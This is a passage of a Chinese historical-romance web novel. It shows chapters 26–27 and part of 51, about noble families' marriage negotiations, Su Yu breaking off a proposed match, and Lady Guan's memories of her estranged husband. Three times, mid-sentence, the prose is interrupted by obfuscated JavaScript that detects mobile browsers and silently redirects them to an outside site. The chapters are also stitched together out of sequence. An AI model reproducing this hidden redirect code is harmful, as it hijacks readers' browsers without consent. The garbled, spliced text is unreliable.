“这京城的闺秀里,要论人才性情,模样家世,倩倩都是数一数二的。”关氏拉着关倩倩的手笑着说。 关倩倩腼腆笑着,旁边关七太太也笑着道:“虽然是自夸了些,我这个女儿,确实是少有的。尤其是孝心,更是难得。” “上回嫂子生病,倩倩不眠不休在身边侍侯。又去庙里吃斋祈福,感动上苍。”关氏脸上笑着,心里却是不以为然。 真孝子肯定有,但是为了照顾母亲,女儿如何如何辛苦,宣传的京城皆知。这就是作秀了,大家都懂的。 “说起来,状元郎也快二十了吧。你那妯娌是怎么想的,也不给他议亲。”关七太太笑着说。 新科状元叶峰,人品,家世,才华,样貌,样样皆是公子圈里的顶峰。 若是关倩倩能嫁给他,倒是匹配。 “峰哥儿一直读书,把亲事耽搁了。现在中了状元,亲事肯定要议的。刚刚放出话去,每天去叶家提亲的人家都要踩破门槛了,二太太说了,让峰哥儿自己选。”关氏微笑说着,心里却不怎么高兴。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12613048|132453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她本来给苏越看中了关倩倩,没想到关七太太看中的是叶峰。 真是心比天高,关七太太为了关倩倩能嫁的好,各种手段都使尽了。 结果十六岁了,也没寻到好人家,现在又想着新科状元。 算了,与越哥儿的亲事,还是不提了,免得难堪。 关七太太正要说话,洪婆子匆匆走过来,故意把大声说,“大姑娘一身男装,跟着关家小爷去男客那里赴宴了。” 关氏并不意外,只是问:“是子烨吗?” “好像是。”洪婆子说着。 关氏笑着道:“钰姐儿向来与哥儿们玩的好,随她去吧。” 洪婆子怔了一下,本以为关氏肯定会说苏钰的不是,没想到是这个态度。 关七太太皮笑肉不笑的道:“说起来,这苏家大姑娘可不是一般人物。” “那是当然。”关氏笑着说。 苏天翊与慕容宁何止不是一般人物,苏钰放纵些,也正常。 家世够好,旁人也管不着。她去六房去说关子烨与苏钰的亲事,本来还有些担心,没想到关子烨父母马上同意了。 关七太太折腾这么久,连贺英那样条件的也看不上关倩倩,这就是差距。 “妹妹可别嫌我多嘴,姑娘家就该有姑娘家的样子。大姑娘现在父母不在身边,妹妹是她的婶娘,也该约束她些,免得行差踏错,后悔莫及。”关七太太说着。 关氏脸色顿时有些难看,道:“大姑娘自有楚王妃照料,哪里轮到我管教。倒是倩倩,今年也有十六了吧,亲事定下来了吗?” 关七太太也许是说者无心,关氏却不能不听着有意。苏玫就是行差踏错,沦为京城笑话。 关七太太脸色讪讪的,她这趟过来,本想着与叶氏多说话,哪里想到叶氏身边挤满了人,她根本就挤不上去。 她就这么一个女儿,又如此才貌双全,肯定要寻个堪配人家,才不会随便嫁个公子哥。 哪里想到折腾这么久,依然没有理想的夫婿,眼看着婚事就要耽搁了。 关倩倩涨红了脸,有几撒娇的道:“我要一直侍奉母亲,才不想嫁人。” 关氏笑了起来,看着关倩倩道:“果然是个孝顺孩子。” 正说着,就有管事媳妇过来传话,“宴席己备。” 关氏点点头,站起身来,笑着对关七太太道:“我们走吧。” 嘴上这么说,关氏做为主人家要招呼客人,关七太太与关倩倩先行去了。 “太太……”管事媳妇见关氏身边没人,这才走过去,“三姑奶奶回来了,却被西角门的小厮拦住不让进门。” “什么?”关氏一怔,却是想到苏天佑说的话,自此之后再没这个女儿。 现在拦着不让进门,肯定也是苏天佑的吩咐。 亲生女儿也能如此无情,关氏心中有气,此时也不好发作。闹大了,苏玫脸上更难看。 关氏想了想小声对洪婆子道:“你亲自去西角门,要是小厮执意不肯放行。你就劝玫姐儿回去,流言蛮语太多,确实不是回家的好时候,让她再忍一忍。” 至少要等苏天佑的气消了,苏玫才好回家。 26.第 26 章 邀月楼占地面积大,太太和老爷们的席面摆在主楼,老爷们在楼上,太太们在楼下。 青年男女则乃以院中的一片池塘为分割点,姑娘们在西厢房,年轻爷们在东厢房。 所有房间皆是门户大开,东西厢房的距离也不算远。稍微有个动静,对面就知道了。 “苏兄,好久不见啊。” 苏钰和关子烨刚进东厢房,就有相熟的公子哥陆仁甲起身招呼,又看俩人一起,便笑着打趣,“我就说嘛,这种场合子烨怎么会不来,现在看来是早来了。” 如此一说,在场众人皆笑了。关子烨和苏钰关系亲近众所周知,以前因为苏钰和贺英有婚约在身,玩笑不能开的太过份。 现在苏钰退婚了,以她和关子烨的交情,再进一步成为夫妻也有可能。 “子烨当然来的早,我们交情这么好,若是不早来,我倒要怪他了。”苏钰笑着说,坦然而大方。 “我若是不早来,岂不是对不起上回阿钰的招待。”关子烨笑着说。 两个当事人都如此坦然,反而让玩笑开不下去。叶峰对苏钰和关子烨招招手,“这边。” “来了。”苏钰笑着说。 苏钰和关子烨到叶峰桌上坐下来,苏钰看看叶峰空着的坐位,知道是苏邑的,问:“阿邑呢?” “他有事。”叶峰一副不愿多说的模样。 苏钰有心问一句薛迟,看叶峰这个态度,当即不说了。 关子烨环顾四周,小声对苏钰道:“贺英果然没来。” “我早说过了,他贼着呢。”苏钰笑着说。 贺英是看着风流,但年纪轻轻就能中探花,岂是简单人物。因为好色栽在苏玫手里,肯定会长记性。几年之内,都会老老实实不作妖。 丫头传菜上桌,众人吃席。酒过三巡之后,就开始敬酒,新科状元叶峰首当其冲。如此年轻的状元,在场众人的楷模。 苏邑仍然没有回来,苏钰帮着叶峰挡酒。只是她的酒量一般,几杯过后就有些头晕。 趁众人起哄之时,苏钰悄悄退席到池塘边上散散酒气。刚坐下,关子烨就跟了过来。 “醒酒的。”关子烨递给苏钰一杯醒酒汤茶。 “谢了。”苏钰笑着接过来,一饮而尽,头晕的状况终于好些,“你打算什么时候下场啊?” 世家子弟不用科举也可以当官,但能够中进士,依然是世家子弟的梦想。 不管叶峰还是贺英,在高中前,名气皆不如他。但中了状元就不同了,就像叶峰,以前是出名怪伽,现在就是大人物的与众不同。 “不着急,再过几年吧。”关子烨笑着说。 苏钰想了想,笑着道:“也是,不着急了。” 就是三年后下场,关子烨也二十一了。叶峰十九,贺英二十,岁数上怎么也拼不过。那就不如多等几年更有把握时下场。 关家六代世家,家中能人许多。关子烨身为年轻一辈的翘楚,自有家中长辈给他谋划。 就比如今年这一科,关子烨原本打算下场,十八岁高中也是美名。后来得知叶峰和贺英要考,他就自动放弃了。 对于关子烨来说,考不到理想的名次,还不如不考。 “哥哥在这里呢,让我好找。”关倩倩笑着走过来,又对苏钰礼貌问侯,“苏大姑娘好。” 苏钰微微一笑,酒劲上头,她没力气应酬。 关子烨客气询问:“有什么事吗?” 关倩倩的父亲是他的亲叔叔,完全不搭理不好,但若是说多了,他也怕惹麻烦。 论起作精会演戏,全京城的姑娘加起来都比不上关倩倩。 “我与姐妹们去串席,没有看到哥哥,担心你是喝多了,有些不放心,便出来找找。”关倩倩笑着说。 她长相甜美,说话时也格外轻声细语。表达关心之情时,越发显得可爱动人。 “我很好,你去找姑娘们玩吧。”关子烨面无表情说着。 面对直接的逐客令,关倩倩依然笑容不改,却是转头看向苏钰,“苏姑娘是不太舒服吗,要不要我扶你去退舍休息?” “不敢劳动。”苏钰说着,看关倩倩没有走的意思,直接问,“关姑娘有什么事可以直说。” 关倩倩看向关子烨,神情十分娇羞,道:“刚才席上姐妹们说起闲话,都仰慕状元郎的风采,想着以文会友,请状元郎指点一二。” “噗~~”苏钰没忍住,直接笑了出来。 闹了半天,关倩倩这是看上叶峰了。 大周的礼教并不严格,男女串席是平常事。姑娘家大胆表白,也是见识过的。 但是这种表白,多是郎有情妾有意,有把握对方一定会接受的情况下。 叶峰并没有看上关倩倩,她要是来个大胆表白,只怕叶峰来个当场拒绝,让关家颜面扫地。 关子烨脸色难看,道:“叶兄喝了不少酒,只怕没有作诗的兴致。你也别老是往男客堆里跑了,快回去吧。” “但是……”关倩倩还想再说。 “哟,这不是关小姐嘛。”陆仁甲晃晃悠悠走过来,脸色泛红,是喝了不少酒,“你这是打算跟苏兄当面对决啊?不要怪我心直口快,你还是放弃吧,你真比不过,何必自寻其辱。” “陆兄,你喝多了,快去歇着吧。”苏钰不想关子烨难看,强打起精神圆场。 “我没喝多,我就是说实话。”陆仁甲继续说着,醉酒的关系,舌头都有些打结,“非要吹自己是京城第一才女,你吹自己就是了,何必拉上苏兄。苏兄的字,苏兄的诗是挂在品花楼里的,前三甲,前三甲啊。你那水平,连品花楼的门都进不去。就这样还要踩苏兄不会写诗,你好笑不好笑啊。大家是看着子烨兄的面子,不想他难堪,不然早就笑死你了。” 苏钰连忙拦住陆仁甲,道:“喝醉了就去躺尸,别在这里闹。” 说着,苏钰招手唤来婆子。两个婆子一起,才把陆仁甲扶住。 “送退舍去休息,好好给他醒醒酒。”苏钰吩咐着。 两个婆子扶着陆仁甲走了,场面极度尴尬。 饶是关倩倩脸皮厚,凡事能周全,此时也涨红了脸,说不出话来。 想走咽不下这口气,留下来又是难堪。几乎是下意识的,关倩倩瞪向苏钰。 要不是因为苏钰,她何至如此。 关子烨见状顿时皱起眉头,道:“陆兄说的没错,你确实闹了太多难堪。回去好好反省,把那争强要胜的心也收收,现在这样,哪个名门子弟敢娶你。” 陆仁甲说的都是实情,没有一句添油加醋。 大概一年前,关倩倩十五岁及笄之后,就开始各种宣扬自己。与天天在闺房中绣花的闺秀比,虽然有些出格,但也没什么妨碍。 但关倩倩的做法欠妥,她先是宣扬自己是京城第一才女。又是写诗集,又是画画。当时京城的才子们还只当平常事件看,没有特别发表议论。 很快的关倩倩开始踩苏钰,不知道从哪里找的一帮人,天天说关倩倩的才情高,苏钰远远不及。 苏钰在京城公子圈里人缘极好,如此拉踩,自然有人看不过眼,开始反驳嘲讽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12636653|132453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 才情不是说的,是要比的,苏钰的诗还在品花楼挂着,关倩倩要是觉得自己比苏钰强,也把自己的诗词挂上品花楼,让天下才子们看看。 品花楼都没进过的人,就敢踩品花楼三甲,真不知道谁给的勇气。 嘲的人多了,就成了群嘲。 因为是关家的女儿,又是关子烨的堂妹,群嘲也是私底下嘲,不至于闹的太难看。 关倩倩得了消息,倒是消停了一阵子。 但很快的,第二波又开始了,开始吹自己的容貌,京城第一美女不敢说,但比苏钰长的好。 不出意外的再次被嘲讽,关倩倩确实是大美女,但苏钰不但美女,还更有特色。男装帅气是公然的,又遗传了慕容宁的异域风情,是有特色的大美女。 大美女VS特色大美女,后者胜出,关倩倩再次败阵。 如此两轮下来,关子烨都觉得关倩倩脸皮再厚也该消停了,很快的,关倩倩的第三波来了。 关倩倩开始吹家世了,自己家世如何如何牛逼,父母兄弟如何如何厉害。 这回倒是没有拉上苏钰,但是前面都两轮了,关倩倩不主动拉扯,其他人却开始联想。 要论家世,苏钰的父亲苏天翊是何等人物,就是把关家老大关楚河拉出来比,关楚河也不敢说比苏天翊牛。 还有苏钰的母亲是慕容宁,吊打关家所有女眷。 明明就是才华,样貌,家世样样不如苏钰,自己吹着玩就算了,何必非得专门拉上一个垫脚。现在是垫的太高,直接摔死了。 如此闹了三轮,关倩倩红遍才子圈,蔓延至所有世家公子们人尽皆知。 因为畏惧关家,虽然不敢明面上说什么,私底下议论却是不少。 关倩倩的婚事也因此耽搁了,高枝看不上她,低嫁她不愿意,门当对户的又不想娶个作精戏精。 关子烨做为关倩倩的亲堂兄,这一年来也是颜面尽失。但堂哥毕竟不是亲哥,这三回事件又都是七太太掺和的,他也不好说什么。 陆仁甲醉酒说出真心话,关子烨并没有觉得哪里说错了。一直不想理会,偏偏闹到他面前来了。 关倩倩气的全身发抖,直瞪着关子烨,道:“这种时候帮着外人,果然是好兄长。” 关子烨大怒,刚想开口。苏钰突然道:“关姑娘折腾这么多,不过乎想找个好夫婿。你既然想着我二哥,就该知道在这里闹起来,你落不了好。” 关倩倩顿时冷静下来,强压心头的怒火,道:“我先回去了,失陪。” 说着,转身回了西厢房,仿佛没事人一般,继续与同桌女客玩笑说话。 “你这个堂妹,也不是一般人。”苏钰说着看向关子烨,“她折腾这么多,是打算嫁皇子?” 关倩倩虽然被才子圈群嘲了,但是她的才情,样貌,家世在京城闺秀里确实顶尖。 而且意志坚定,三次失败,还能人前谈笑风声。气的半死,一个转身也能继续应酬。 这样的女子,若只是想寻个门当户对的夫婿,只要家里坐等人提亲即可,不用折腾这么多。 折腾这么多,就表示她所求高于她本身的条件,算来算去,也只有皇子了。 “薛迟。”关子烨说着。 “啊?”苏钰惊愕。 只是为了嫁薛迟,就如此折腾? 现在转变目标瞄向叶峰,是薛迟那里行不通了? 关子烨一肚子气,不想多说,道:“何必说她,我们去花园走走。” “嗯,我也想醒醒酒。”苏钰说着。 27.第 27 章 一直到宴席结束,宾客散场,苏钰都没看到苏邑,更没有看到薛迟。 说不清是失落还是什么,只要想到薛迟,苏钰就有种百爪挠心的感觉。 难道是一见钟情? 不应该吧,要是单纯看脸,她应该对谢无衣一见钟情。 “姑娘,要更衣吗?”绿川小心问着。 散席回到屋里后,苏钰都有点魂不守舍,好像有什么心事。 苏钰这才醒过神来,道:“更衣,我想洗个澡,让厨房准备上。” “是。”绿川应着,唤来小丫头和婆子。 小丫头侍侯苏钰更衣,婆子去知会厨房兼收拾净房。 “父亲离京,有九年了吧。”苏钰突然说着。 苏天翊写下和离文书就走了,放弃京城的一切,走的彻底,走的潇洒。 去了哪里,做了什么,不止她不知道,苏家上下都不知道。 要不是偶尔有书信回来报平安,以及大哥苏略带来的只字片语,她真要担心苏天翊是不是己经客死他乡。 “差不多吧。”绿川含糊说着,故意岔开话题,“天色不早了,若是姑娘不出门了,就换这身吧。” 这么多年来,苏钰很少提起苏天翊。美好幸福的家庭突然破裂,大人尚且难以承受,更何况当还是孩子的苏钰。 “父亲是个温柔的人,做事从来都有自己的道理。和离之事,连母亲都没有怨过他,我似乎更没有理由怨他。”苏钰缓缓说着。 婚姻的主体是夫妻双方,孩子只是附属。 主体的两个人感情破裂,要求离异,孩子没有插嘴的余地。 就是继续勉强,看看苏天华一家也能知道。 不管叶峰还是苏邑,对成亲之事都十分淡然。看着父母争吵了这么多年,对婚姻绝望了。 “姑娘,今天这是怎么了,突然说起这个。”绿川小心翼翼说着。 苏钰道:“也没怎么,只是今天遇到一个人,让我,让我……有些心动,却又分不清,到底为何心动。” 苏天翊离开后,苏钰的物质生活并没有降低。但是缺少的那份父爱,以及父亲带来的安全感,却再也没有了。 即使表现的再洒脱,这份缺失都是真实存在,日日夜夜缠绕着她。 薛迟给她的感觉太像苏天翊,让她疑惑于这股情绪的同时又有几分感伤。这些年来,她真的很想很想苏天翊。 “心动?”绿川听到重点,顿时惊呆了,“谁啊?” 苏钰摇摇头,道:“没谁,很快就会过去。” 这种类似于移情的感情,还是不要发展下去,免得让自己更困惑。 绿川不敢询问,却是不得不提醒苏钰,“刚才我听婆子说姑娘与关家小爷一起游花园……” 婆子说的是,苏钰与关子烨这一对是板上钉钉,两家己经开始选日子。 本来绿川也是高兴的,关子烨与苏钰关系很好,成亲也是好事。但现在苏钰说对别人心动了,那与关子烨的亲事,还是早点散了好。 “唉,我本来想着明天再去找三太太。”苏钰不禁叹口气,“算了,我现在去吧。早点说清楚,省得夜长梦多。” 绿川赶紧拿来外衣,道:“关家小爷不比别家,早点说清楚才好。” 苏钰换好衣服去了玉粹堂,宴席刚刚结束,正是疲惫之时,院中下人要么还在忙碌,要么己经去休息,只有两个小丫头廊下坐着守门。 关氏忙碌一天,此时正在罗汉床上躺着,小丫头捶着腿。 “守门的小厮死活不让三姑奶奶进门,我过去说是太太的意思,仍然不放行。”洪婆子有几分抱怨的说着。 要是三老爷派了心腹小厮去拦,不听她这个管家的话就算了。不知道哪里来的小厮,根本就不搭理她,硬是把苏玫挡在门外。 关氏不禁一声叹息,道:“玫姐儿被我宠坏了,也该吃些苦头,长些教训。等大姑娘出了阁,事情过去了,老爷那里自然会松口。” 不管怎么说,苏玫抢了苏钰的未婚夫,苏钰是苦主。只有苦主过好了,事情才算过去。 要是苏钰过的不好,苏天佑肯定内疚非常,事情就永远过不去。 “不是我说,这大姑娘啊……”洪婆子忍不住说着。 一语未完,就听门口小丫头传话进来,“大姑娘来了。” 洪婆子连忙把话打住,退到旁边。 苏钰进到里间,小丫头扶着关氏从榻上起来。 “我来的不是时候,打扰三太太休息了。”苏钰笑着说。 关氏笑着道:“说的哪里话,你也累一天了,快坐吧。” 苏钰在旁边椅子上坐下来,笑着道:“我本想明天来的,思来想去又觉得不安,所以这个时候过来了。” 关氏疑惑,问:“什么事啊?” “我和关子烨的婚事。”苏钰单刀直入,“我觉得不妥,多谢三太太厚爱,还是推辞了吧。” 关子烨是关氏能寻到的最好人选,这份情她领了,但真没办法同意。 “啊?”关氏顿时懵住了,不自觉得的道:“婆子们还说,你们一起,一起……” 苏邑带着关子烨去了听雨轩,又一起骑马,坐席的时候一起坐,又一起逛花园,她都以为肯定能成了呢。 苏钰解释道:“我与子烨私交甚好。再者,既然要拒绝了,自然要与他好好说清楚,免得坏了两家交情。” “这……”关氏依然懵逼状态。 难道是她老了吗?男女私交甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12663736|132453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,却要辞了婚事,现在的年轻人,想法真多,思路跟不上。 洪婆子对于下午受的气一直耿耿于怀,见状便上前道:“大姑娘,你太胡闹了。” 一语即出,懵逼的换成了苏钰。 要不是她亲耳听见,她都不敢相信,关氏的下人当着关氏的面对她说教!? 绿川吐槽关氏时,她狠训了绿川一顿。虽然下人不该议论主子,但绿川说的也没错,关氏管家确实有问题。 “这亲事是太太为姑娘……” 洪婆子正要开口,苏钰却是站起身来,完全无视洪婆子,对关氏恭敬道:“多谢三太太关爱,我的婚事,母亲己经有主张。” 洪婆子是关氏的下人,她做为晚辈不会当面管教让关氏下不了台。但下人说的话,她也没必要理会。 关氏神情有几分尴尬,却是笑着道:“我晓的了,不再为你说亲。” 关子烨都看不上,她手上的其他人选,苏钰更看不上。 苏钰笑着道:“我就不打扰三太太休息,告辞。” “去吧。”关氏笑着说。 苏钰转身去了,洪婆子脸上全然挂不住,正欲对关氏告状。关氏却是变了脸色,怒声训斥道:“跪下。” 洪婆子呆了呆,她也是打小侍侯的,从来没有见过关氏发过这样的脾气。 委屈难受,却还是跪了下来。 “你是什么身份,大姑娘是什么身份,你就这么大模大样的教训她!”关氏怒声训斥着,“我的脸都要被你丢尽了。” 世家贵族里,有主子面软被下人欺负的。但苏钰是何等人物,她这个婶娘说句话,苏钰还未必会听的,岂会听一个婆子逼逼。 洪婆子当着她的面如此不知进退,丢的是她的脸。 洪婆子又是羞又是害怕,顿时泪流满面,哭着道:“老奴知错了。” “知错?你就是个蠢货。”关氏恨铁不成钢的说着。 她陪嫁跟来的四个大丫环,一个死了,一个嫁人,剩下的也就洪婆子和张婆子。 一直以来都是张婆子在她身边侍侯,帮着打理一应事务,十分能干。 就因为能干,她把张婆子给了苏玫,免得她在贺家受气。把洪婆子叫到跟前来,即是想要个帮手,也是一种精神安慰。 陪嫁的丫头都是打小侍侯她的,就是再多小丫头,总是比不过这种从小一起长大的,这也是她的长情。 没想到这么多年了,洪婆子依然如此蠢笨。帮不上忙就算了,还能做出这等蠢事。 “太太,老奴真的知错了。”洪婆子哭的越发伤心。 以前的时候,她做错了事,这样哭一哭,关氏也就心软了。 “唉……”关氏一声叹息,“你退下吧。” 50-60 第51章 第 51 章 “老太爷来了……”…… “老太爷来了……” 刘顺家的高声喊着, 都快喊破音了。 苏震岳是收到消息来的,他不放心谷夫人,一直让小厮留意乐道堂的动向。 听小厮说,关氏来了, 还把下人都屏退了, 苏震岳当时就急了。 关氏不是受气包性格, 这个时候来找谷夫人, 肯定是报仇来的。 “哐当”一声,关着房门被大力推开。 冬日的暖阳随着敞开的大门泄进来, 一个高大的背影立于处于逆光之中,看不清五官。 本来就有些疲惫的谷夫人,只觉眼前有些恍惚,好像回到了许多年前。 当年的苏震岳是京城出了名的纨绔子弟,老国公为这个次子伤透了脑筋。他提出要娶亲, 可谓是求之不得,连门第出身都不在意了。 这样纨绔的子弟,对她却是极好的。有时候外头回来寻来了好玩意, 着急送她, 就这么猛然推开门, 快步跑进来抱住她。 “你老了……”谷夫人怔忡间喃喃自语着。 苏震岳离京后,他们再没见过, 二十几年了。 住进国公府后, 她知道肯定会与苏震岳再见,但没想到见的如此匆忙。 “呵~好像你……”很年轻似的。 苏震岳下意识想如此说,但看着谷夫人,他说不出来。 因为谷夫人真的很年轻,完全就是他记忆中的样子。 苏震岳与谷夫人的初见是在京城大街上, 谷夫人随继母逛集市买东西,他骑着马与同伴闲逛。 那是个秋天,阳光明媚,他正与同伴商议组织一次秋猎。 两厢交会之时,手上大包小包的谷夫人被路上撞到,东西散了一地。 因为动静颇大,坐在马上的苏震岳看了过去,惊鸿一瞥,就这么落在心里。 他当时就想下马追上去,奈何集市上人太多,马根本就停不下来,人潮涌着走。 只能吩咐随从跟上去,一定弄清楚是哪家的女儿,是否婚配。 当天晚上随从就带来了消息,谷家女,未婚配。 苏震岳向来是行动派,这回动作更快,马上找父母要派媒婆去谷家提亲,恨不得马上把谷夫人娶进门。 婚事进行的很顺利,娶到谷夫人是他这辈子最开心之事。新婚时谷人夫对他还有点生疏感,有些沉默寡言,苏震岳认为是正常的。 毕竟谷夫人对他是陌生的,没关系的,只要他爱她一切都会好起来。 一年两年,苏天佑出生,一切都慢慢的好起来。 直到…… “好久不见了。”谷夫人极力平复心情,让自己显得平静一些。 曾经的夫妻,爱也好,恨也好,都过去了。 兜兜转转这些年,竟然又同住一府,是缘份也是命。 放下过往的爱恨,像故友一般叙叙旧,偶尔闲聊几句也挺好。 “我一直想见你,是姓杨的不让我见。”苏震岳说着,不用谷夫人发话,径自坐了下来。 谷夫人愣住了。 不可能吧,杨阁老的性子她是知道的。若是苏震岳有事寻她,他定然会说的。 刘顺家的早就带着丫头进来,吩咐小丫头去倒茶,却是不着痕迹的走向关氏,想带她离开。 关氏依然站在原处,苏震岳进来的瞬间,她恨不得挖个地道原地消失。 而接下来的内容,更让她想原地去世。 “等等。”苏震岳突然说着。 正欲悄悄离开的关氏只得站住,头恨不得埋到地里,“老太爷……” 苏震岳霍然站起身来,关氏吓了一大跳,不由的退了一步。 谷夫人微微皱眉,正想着说点什么,就听苏震岳问关氏,“你来做什么?” 我来做什么? 关氏也想问自己,她来做什么。 听了一段不该听的狗血八卦,又亲眼看到,公公对前任婆婆旧情难忘。 她都恨不得穿越回到几个时辰前,连扇自己几个耳光。 “是我唤她来的。”谷夫人说着,又对关氏说,“这里没你事了,回去吧。” 苏震岳明显不信,却看一眼谷夫人,朝关氏摆摆手,“以后少过来。” 连住处都没给谷夫人收拾好,指望她会尽孝就算了,少来少生气。 关氏不敢作声,做为儿媳妇真的少来婆婆这,只怕苏震岳又能挑出错来。 苏家人的恋爱脑,她是见识过的。 这种送命题,应不应都是错。 “把这个带回去。”谷夫人说着,把画轴卷好,交给刘顺家的,刘顺家的转给关氏,“还是你收着吧。” 关氏不解其意,但这个时候哪里敢说,“是。” “媳妇告退。”关氏小心翼翼说着,逃命似的走了。 从乐道堂大门出来,强撑着一口气的关氏,腿顿时软了下来,下意识扶住墙面这才站住。 因为所做之事过于忤逆,关氏过来时连洪婆子都没有带,此时身边一个丫头婆子都没有。 也幸好没有,不然都得死。 “太太……” 洪婆子迎了上来,她知道关氏来了乐道堂,却不让她跟随。 因为心虚,洪婆子一直在乐道堂门口等着,倒是不怕关氏吃亏,谷夫人不敢拿关氏怎么样。 她是担心谷夫人向关氏告状,说下人怠慢云云,那就全是她的错了。 “回去吧。” 关氏扶着洪婆子,声音带着疲惫,脚步都有些虚浮。 洪婆子心知是有事,也不敢多问,唤婆子拉车过来,扶着关氏上车回去。 回到玉粹堂,洪婆子扶着关氏进屋里坐下,小心翼翼说着,“太太,可是老太太难为您了,以后日子这么长,这口气可不能忍。” 管家权很重要,虽然关氏出身好,也有子女傍身。但是上头有了婆婆,又夫妻不和,若是再没了管家权,只怕日子不好过。 更重要的是,关氏丢了管家权,她们这一干下人的好日子要也到头了。 “什么难为不难为的。”关氏苦笑不己,“根本就不重要。” 谷夫人这一生,从来不缺男人的真心喜爱,别说管家权,连儿子孝不孝的都无所谓。 杨阁老给她求来的旨意,凡事都有苏震岳替她出头料理,谁敢对她不孝,谁敢忤逆。 洪婆子听得疑惑不解,“那……老太太可是说什么了?” 关氏没作声,谷夫人说的话,要烂死在肚子里,说了就是害人害己。 “我看到老太爷急匆匆进去了……”洪婆子还欲再说。 “好了。”关氏打断她,“长辈们的事,岂是我能议论的,打水来,我要洗脸。” 洪婆子不敢再说,连忙吩咐小丫头备水。 洗了脸,关氏觉得自己冷静多了,心里却依然觉得闷闷的。 喝了口茶,把四个管家大娘子叫进屋里,一通叮嘱,大概就是以后乐道堂的差事一定要优先,出了差错,她也保不了。 苏震岳要发颠,别说她了,苏天佑都没有办法。 照常管家理事,一直忙碌到掌灯时分,晚饭后,关氏借口打发丫头婆子们出去,把找出来的三张画卷拿出来,直接扔到碳火盆里,亲眼看着烧的渣都不剩下。 谷夫人把画给她,她不知其意。 但不管谷夫人什么用意,这三张画绝不能在她手里流出去。 一把火烧干净,才能绝了所有后患。 “孙子都要娶亲了,还……” 关氏自言自语着,却没有丝毫嘲讽之意。只是想到那句话,易得无价宝,难得有情郎。 在娘家时,母亲一直在教导她,要如何成为一个正妻。至于丈夫是不是真爱自己,有没有小妾,并没有那么重要。 关氏也是一直如此相信的,毕竟身边太多的例子,直到嫁进苏家。 苏家多情种,或者说个个都是情种。 恋爱脑上头,凡事不管不顾,为了真爱什么都能干出来,发起颠来拦都拦不住。 不够理智,为了一段虚无的情绪,什么都不在乎了。 三副画烧完,火苗渐渐灭了。关氏又检查一遍,确定渣都烧干净了,这才唤人进来收拾。 “太太,您吩咐往乐道堂送的东西都送到了,刘顺家的收的。”洪婆子说着。 下午关氏吩咐的,这种时候她哪里还敢怠慢,都是捡最好的往乐道堂送。 “嗯。”关氏随口应着,并不太在意。 今天这一番接触,她算是知道了,谷夫人这个婆婆好侍侯也难侍侯。 好侍侯是因为谷夫人活的太明白,只要能过的去,绝不会为难。 不好侍侯也是因为活的太明白,太明白了也就讨好不了。 关氏心情沉闷,唤来丫头侍侯更衣睡觉。 帐幔放下,小丫头吹了灯,关氏躺在床上,看着拔步床顶,突然想起,她与苏天佑正式决裂那天。 那是十年前的中秋节,她张罗了家宴,说是家宴,其实就她和苏天佑,以及年幼的苏玫,苏越。 虽然不久前,她给苏天佑张罗纳妾之事,与苏天佑大吵了一架,关氏心里却是高兴的。 苏天佑拒绝了纳妾,虽然当时话说的不好听,但哪个女人会喜欢丈夫纳妾呢。 因为心情好,关氏难得陪苏天佑喝酒。苏天佑喝的很快,一杯接一杯,眼看着就要喝醉了,关氏正要出言相劝。 苏天佑竟然己经醉了,并且发起了酒疯。 向来温和,至少看着很温和,发脾气也就是声音稍微有点大的苏天佑,重重按住关氏的肩膀,酒气伴随着眼泪,让关氏有些炫晕。 “母亲对我说,百年修得共枕眠,既有如此缘份,就该好好珍惜,让我好好爱你。” “我真的好想爱你,爱上你我就不用痛苦了。但我试过了,我真的一点都不喜欢你。” “为什么,到底为什么!” “我喜欢云娘,我想娶她。我不喜欢你,你也不喜欢我,你为什么非得嫁给我。” “我救了你的性命,你却要来害我,你为什么要恩将仇报。” 一字一句的控诉,她知道苏天佑醉了,但醉了才会说真话。 五年夫妻情份,就被这么几句话击碎,也彻底击碎的关氏自尊。 她一直觉得爱不爱的不重要,给丈夫纳妾也没什么。但当苏天佑把心底的怨恨说出来后,她受伤了,伤的很重很重。 五年夫妻,生下一儿一女,原来在苏天佑心里,她是罪人,毁了他好姻缘的罪人。 那天如何收的场,关氏己经想不起来,她只知道那天之后,她与苏天佑彻底撕破脸。 话既出口,覆水难收,谁都无法当做什么都没发生过。 她继续住在玉粹堂,苏天佑搬去养云轩,俩人正式分居。 苏天佑没提过和离,她知道,那是苏天佑知道和离对女子伤害太大。要是她想和离,他一定会同意。 “被人爱着……”关氏喃喃自语着。 就像谷夫人那样,哪怕因情生波,被休改嫁守寡,这样一通折腾,却是一直被小心翼翼呵护着。为她考虑,为她出头,安排好她的一切。 若是苏天佑…… 